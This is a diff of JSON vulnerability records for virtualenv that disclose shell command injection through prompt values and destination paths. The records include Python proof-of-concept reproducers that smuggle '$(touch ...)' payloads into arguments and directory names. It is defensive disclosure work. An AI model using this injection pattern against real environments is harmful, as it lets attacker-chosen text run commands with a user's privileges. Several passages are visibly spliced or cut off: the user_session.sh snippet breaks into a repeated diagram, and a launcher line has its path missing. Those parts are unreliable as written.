you source `activate`, which leaves `PS1` alone, or run\n`unsetopt prompt_subst` if your prompt does not need it. Check the name of an environment you did not create before you\nsource its `activate`.\n\n### Credits\n\nKaya Emre Arikan (@kemrec) reported this issue.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.4"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"last_known_affected_version_range":"<= 21.14.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-5vjq-rrrf-7h2q/GHSA-5vjq-rrrf-7h2q.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-5vjq-rrrf-7h2q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113726"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/5b915367da82bd024b2a0d28d2f98007034b4aa2"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.4"}],"database_specific":{"cwe_ids":["CWE-116","CWE-78"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T16:46:23Z","nvd_published_at":"2026-10-20T22:19:29Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-6w3r-xr62-4xcp.json b/data/PyPI/GHSA-6w3r-xr62-4xcp.json index 8242d5e98f..f60e42b878 100644 --- a/data/PyPI/GHSA-6w3r-xr62-4xcp.json +++ b/data/PyPI/GHSA-6w3r-xr62-4xcp.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-6w3r-xr62-4xcp","published":"2026-10-23T22:21:57Z","modified":"2026-10-29T10:55:32.039209236Z","aliases":["BIT-virtualenv-2026-113723","CVE-2026-113723"],"summary":"virtualenv: Bash prompt values can change meaning under older compatibility modes","details":"## Summary\n\nCaller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.\n\n## Affected area\n\nBash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from\nnewer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation.\nIt does not establish exposure through unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[bash prompt assembly](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/bash/activate.sh).\n\n## Mechanism\n\n`bin/activate` copies the prompt into `PS1`. A shell expands `PS1` again when it draws a prompt, so the value must\nsurvive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules.\nThree other paths still interpret prompt data as commands: dash sourcing `activate` directly, a child dash inheriting an\nexported `PS1` from bash, and bash running at compatibility level 4.2 or lower. A value such as `x$(touch MARKER)y` then\nruns `touch` on prompt display. Creating the environment does not run the payload.\n\n## Reproduction and evidence\n\nThe scanner's child-shell reproducer creates an environment with `--prompt 'x$(touch MARKER)y'`, sources `bin/activate`\nin interactive bash, and starts interactive `sh` (dash). Its control leaves `PS1` unexported: neither shell creates\n`MARKER`. With `PS1` exported, bash displays the prompt without executing the value, but the child dash creates\n`MARKER`; the reproducer ends in `BUG`. The report gives separate console reproductions for direct dash activation and\nbash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported `PS1`.\n\nThe scanner linked this finding to [#3326](https://github.com/pypa/virtualenv/pull/3326) and its follow-up #3390. Those\nchanges cover the usual bash path but leave the three paths above. The proposed change in\n[#3418](https://github.com/pypa/virtualenv/pull/3418) keeps a variable reference in `PS1`, so prompt text is expanded as\ndata when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied\nby the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected.\n\n## Introduced\n\nThe report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited `PS1` to #3390 (first\nreleased in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from\nthe report; the release confirmed by the maintainer is 21.14.8.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prompt supplier\n participant V as virtualenv\n participant B as Interactive bash\n participant D as Child dash\n A->>V: --prompt x$(touch MARKER)y\n V->>B: generated bin/activate\n B->>B: assign escaped prompt to PS1\n alt PS1 is not exported\n B->>D: start sh with its own PS1\n D-->>B: marker absent\n else PS1 is exported\n B->>D: start sh with inherited PS1\n D->>D: expand $(touch MARKER) on prompt draw\n D-->>B: marker created\n end\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-1MOI2X3T`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-inherited-ps1\")\nshutil.rmtree(work, ignore_errors=True)\nwork.mkdir()\nmarker = work / \"MARKER\"\nprint(\"sh is\", Path(\"/bin/sh\").resolve())\n\n# attacker: only the text a tool such as tox or hatch relays as --prompt\nhostile_prompt = f\"x$(touch {marker})y\"\n\n# set up: the environment, made with the virtualenv command\nsubprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \"--without-pip\", \"--activators\", \"bash\",\n \"--prompt\", hostile_prompt, str(work / \"env\")],\n check=True, stdout=subprocess.DEVNULL,\n)\nassert not marker.exists(), \"creating the environment must not run the prompt\"\n\n# user: in an interactive bash, source bin/activate, then start sh.\n# -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns\nsession = Path(\"/tmp/repro.d/user_session.sh\").read_text()\ninteractive_bash = [\"bash\", \"--norc\", \"--noprofile\", \"-i\"]\n\n# control: PS1 set in bash but not exported, so sh does not inherit it\ncontrol = subprocess.run(interactive_bash, input=\"PS1='\\\\$ '\\n\" + session,\n stderr=subprocess.PIPE, text=True, check=True)\nprint(control.stderr)\nran_in_control = marker.exists()\nprint(\"CONTROL PS1 not exported: marker created:\", ran_in_control)\n\n# attack: the same session with the one difference that PS1 is exported\nattack = subprocess.run(interactive_bash, input=\"export PS1='\\\\$ '\\n\" + session,\n stderr=subprocess.PIPE, text=True, check=True)\nprint(attack.stderr)\nran_in_attack = marker.exists()\nprint(\"OBSERVED PS1 exported: marker created:\", ran_in_attack)\n\n# check: the prompt text must be drawn, never run, by every shell that draws it\nprint(\"BUG\" if ran_in_attack and not ran_in_control else \"OK\")\n```\n\n**`repro.d/user_session.sh`**\n\n```text\n. /tmp/repro-inherited-ps1/env/bin/activate\nsh -i >V: --prompt x$(touch MARKER)y\n V->>B: generated bin/activate\n B->>B: assign escaped prompt to PS1\n alt PS1 is not exported\n B->>D: start sh with its own PS1\n D-->>B: marker absent\n else PS1 is exported\n B->>D: start sh with inherited PS1\n D->>D: expand $(touch MARKER) on prompt draw\n D-->>B: marker created\n end\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-1MOI2X3T`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-inherited-ps1\")\nshutil.rmtree(work, ignore_errors=True)\nwork.mkdir()\nmarker = work / \"MARKER\"\nprint(\"sh is\", Path(\"/bin/sh\").resolve())\n\n# attacker: only the text a tool such as tox or hatch relays as --prompt\nhostile_prompt = f\"x$(touch {marker})y\"\n\n# set up: the environment, made with the virtualenv command\nsubprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \"--without-pip\", \"--activators\", \"bash\",\n \"--prompt\", hostile_prompt, str(work / \"env\")],\n check=True, stdout=subprocess.DEVNULL,\n)\nassert not marker.exists(), \"creating the environment must not run the prompt\"\n\n# user: in an interactive bash, source bin/activate, then start sh.\n# -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns\nsession = Path(\"/tmp/repro.d/user_session.sh\").read_text()\ninteractive_bash = [\"bash\", \"--norc\", \"--noprofile\", \"-i\"]\n\n# control: PS1 set in bash but not exported, so sh does not inherit it\ncontrol = subprocess.run(interactive_bash, input=\"PS1='\\\\$ '\\n\" + session,\n stderr=subprocess.PIPE, text=True, check=True)\nprint(control.stderr)\nran_in_control = marker.exists()\nprint(\"CONTROL PS1 not exported: marker created:\", ran_in_control)\n\n# attack: the same session with the one difference that PS1 is exported\nattack = subprocess.run(interactive_bash, input=\"export PS1='\\\\$ '\\n\" + session,\n stderr=subprocess.PIPE, text=True, check=True)\nprint(attack.stderr)\nran_in_attack = marker.exists()\nprint(\"OBSERVED PS1 exported: marker created:\", ran_in_attack)\n\n# check: the prompt text must be drawn, never run, by every shell that draws it\nprint(\"BUG\" if ran_in_attack and not ran_in_control else \"OK\")\n```\n\n**`repro.d/user_session.sh`**\n\n```text\n. /tmp/repro-inherited-ps1/env/bin/activate\nsh -i \" \"$0\" \"$@\"`. The shell expands `$(...)` and backticks in that path when the launcher is run. The same\nwrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and\nactivation do not trigger the shell payload.\n\n## Reproduction and evidence\n\nThe scanner created three environments: a control under `my -touch PWNED- project`, one under\n`my $(touch PWNED) project`, and one under a path of more than 127 bytes ending in `$(touch${IFS}PWNED)`. Each was\ncreated without producing `PWNED`. Running the generated `bin/pip --version` created `PWNED` in both attack cases; the\ncontrol created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the\ngenerated launcher, with the user's privileges, rather than during seeding.\n\nThe report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2.\n[PR #3417](https://github.com/pypa/virtualenv/pull/3417) quotes the raw interpreter path for the POSIX wrapper and\nrepairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip\ninstall or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up\nreview reports that later path separately.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Destination supplier\n participant V as virtualenv seeder\n participant D as distlib ScriptMaker\n participant S as Generated bin/pip\n participant U as User\n A->>V: path contains $(touch PWNED)\n V->>D: pass interpreter path with incomplete shell quoting\n D->>S: write /bin/sh wrapper\n Note over V,S: no payload runs during creation or activation\n U->>S: pip --version\n S->>S: shell expands path and runs touch\n S-->>U: PWNED appears with user's privileges\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-5DZVLGL1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/repro-console-script\")\n\n# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).\nDIRECTORY_NAMES = {\n \"CONTROL\": \"my -touch PWNED- project\",\n \"OBSERVED\": \"my $(touch PWNED) project\",\n # no space: distlib also picks the /bin/sh launcher once \"#!/bin/python\" is longer than 127 bytes\n \"OBSERVED_LONG\": \"p\" * 120 + \"$(touch${IFS}PWNED)\",\n}\n\nshutil.rmtree(WORK, ignore_errors=True)\npip_printed = {}\ncreated_by_pip = {}\nfor label, name in DIRECTORY_NAMES.items():\n # the payload can hold no \"/\", so it touches a relative PWNED: each case gets its own empty working directory\n cwd = WORK / label / \"cwd\"\n venv = WORK / label / name / \"venv\"\n cwd.mkdir(parents=True)\n\n # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)\n subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", str(venv)], cwd=cwd, check=True)\n assert list(cwd.iterdir()) == [], \"environment creation must not have created anything\"\n\n # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own\n pip = subprocess.run([venv / \"bin\" / \"pip\", \"--version\"], cwd=cwd, capture_output=True, text=True)\n pip_printed[label] = pip.stdout\n created_by_pip[label] = sorted(p.name for p in cwd.iterdir())\n\n launcher = (venv / \"bin\" / \"pip\").read_text().splitlines()\n print(f\"{label}: directory name {name!r}\")\n print(f\" bin/pip line 1: {launcher[0]}\")\n print(f\" bin/pip line 2: {launcher[1]}\")\n print(f\" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}\")\n print(f\" files bin/pip created in the working directory: {created_by_pip[label]}\")\n\n# check: a directory name is data; starting pip must run pip and nothing else\ncontrol_ok = pip_printed[\"CONTROL\"].startswith(\"pip \") and created_by_pip[\"CONTROL\"] == []\nattack_ran = created_by_pip[\"OBSERVED\"] == [\"PWNED\"] and created_by_pip[\"OBSERVED_LONG\"] == [\"PWNED\"]\nprint(\"BUG\" if control_ok and attack_ran else \"OK\")\n```\n\n## Fix scope and remaining exposure\n\nPR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The\npip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's\nvendored distlib.\n\nA later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing\nlaunchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to\nregenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip.\nThe follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are\nattributed to the reviewer.\n\n## Impact\n\nRunning an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8,\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`, following the project's\n[generated-script precedent](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The vector\nassumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are\nrequired; successful command execution can affect the user's data and processes.\n\n## Versions tested\n\nThe maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review\nrecords reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are\nunchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse an environment destination chosen by a trusted user. For older releases, avoid generating\nenvironments at destinations derived from untrusted input.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c978-59m8-c77v/GHSA-c978-59m8-c77v.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-c978-59m8-c77v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113722"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3417"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/2519941bed33ee0d3ac99277f67913e439e476a9"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-78"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T21:30:12Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-c978-59m8-c77v","published":"2026-10-21T21:30:12Z","modified":"2026-11-18T12:10:51.899471924Z","aliases":["BIT-virtualenv-2026-113722","CVE-2026-113722","PYSEC-2026-4381"],"summary":"virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax","details":"## Summary\n\nA destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The\napp-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not\npreserve it as literal data in the shell wrapper.\n\n## Affected area\n\nPOSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.\nWindows executable launchers are not affected by this path.\n\n## Attacker-controlled input\n\nAn attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a\ngenerated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[ScriptMakerCustom](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nThe app-data seeder passes the environment's interpreter path through `enquote_executable()` to distlib's `ScriptMaker`.\nIt adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path\nhas a space or the shebang exceeds 127 bytes, distlib emits a `#!/bin/sh` wrapper with a line shaped like\n`'''exec' \"\" \"$0\" \"$@\"`. The shell expands `$(...)` and backticks in that path when the launcher is run. The same\nwrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and\nactivation do not trigger the shell payload.\n\n## Reproduction and evidence\n\nThe scanner created three environments: a control under `my -touch PWNED- project`, one under\n`my $(touch PWNED) project`, and one under a path of more than 127 bytes ending in `$(touch${IFS}PWNED)`. Each was\ncreated without producing `PWNED`. Running the generated `bin/pip --version` created `PWNED` in both attack cases; the\ncontrol created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the\ngenerated launcher, with the user's privileges, rather than during seeding.\n\nThe report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2.\n[PR #3417](https://github.com/pypa/virtualenv/pull/3417) quotes the raw interpreter path for the POSIX wrapper and\nrepairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip\ninstall or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up\nreview reports that later path separately.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Destination supplier\n participant V as virtualenv seeder\n participant D as distlib ScriptMaker\n participant S as Generated bin/pip\n participant U as User\n A->>V: path contains $(touch PWNED)\n V->>D: pass interpreter path with incomplete shell quoting\n D->>S: write /bin/sh wrapper\n Note over V,S: no payload runs during creation or activation\n U->>S: pip --version\n S->>S: shell expands path and runs touch\n S-->>U: PWNED appears with user's privileges\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-5DZVLGL1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/repro-console-script\")\n\n# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).\nDIRECTORY_NAMES = {\n \"CONTROL\": \"my -touch PWNED- project\",\n \"OBSERVED\": \"my $(touch PWNED) project\",\n # no space: distlib also picks the /bin/sh launcher once \"#!/bin/python\" is longer than 127 bytes\n \"OBSERVED_LONG\": \"p\" * 120 + \"$(touch${IFS}PWNED)\",\n}\n\nshutil.rmtree(WORK, ignore_errors=True)\npip_printed = {}\ncreated_by_pip = {}\nfor label, name in DIRECTORY_NAMES.items():\n # the payload can hold no \"/\", so it touches a relative PWNED: each case gets its own empty working directory\n cwd = WORK / label / \"cwd\"\n venv = WORK / label / name / \"venv\"\n cwd.mkdir(parents=True)\n\n # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)\n subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", str(venv)], cwd=cwd, check=True)\n assert list(cwd.iterdir()) == [], \"environment creation must not have created anything\"\n\n # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own\n pip = subprocess.run([venv / \"bin\" / \"pip\", \"--version\"], cwd=cwd, capture_output=True, text=True)\n pip_printed[label] = pip.stdout\n created_by_pip[label] = sorted(p.name for p in cwd.iterdir())\n\n launcher = (venv / \"bin\" / \"pip\").read_text().splitlines()\n print(f\"{label}: directory name {name!r}\")\n print(f\" bin/pip line 1: {launcher[0]}\")\n print(f\" bin/pip line 2: {launcher[1]}\")\n print(f\" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}\")\n print(f\" files bin/pip created in the working directory: {created_by_pip[label]}\")\n\n# check: a directory name is data; starting pip must run pip and nothing else\ncontrol_ok = pip_printed[\"CONTROL\"].startswith(\"pip \") and created_by_pip[\"CONTROL\"] == []\nattack_ran = created_by_pip[\"OBSERVED\"] == [\"PWNED\"] and created_by_pip[\"OBSERVED_LONG\"] == [\"PWNED\"]\nprint(\"BUG\" if control_ok and attack_ran else \"OK\")\n```\n\n## Fix scope and remaining exposure\n\nPR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The\npip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's\nvendored distlib.\n\nA later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing\nlaunchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to\nregenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip.\nThe follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are\nattributed to the reviewer.\n\n## Impact\n\nRunning an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8,\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`, following the project's\n[generated-script precedent](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The vector\nassumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are\nrequired; successful command execution can affect the user's data and processes.\n\n## Versions tested\n\nThe maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review\nrecords reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are\nunchanged from 21.14.8. The first affected release has not been established. Fixed in 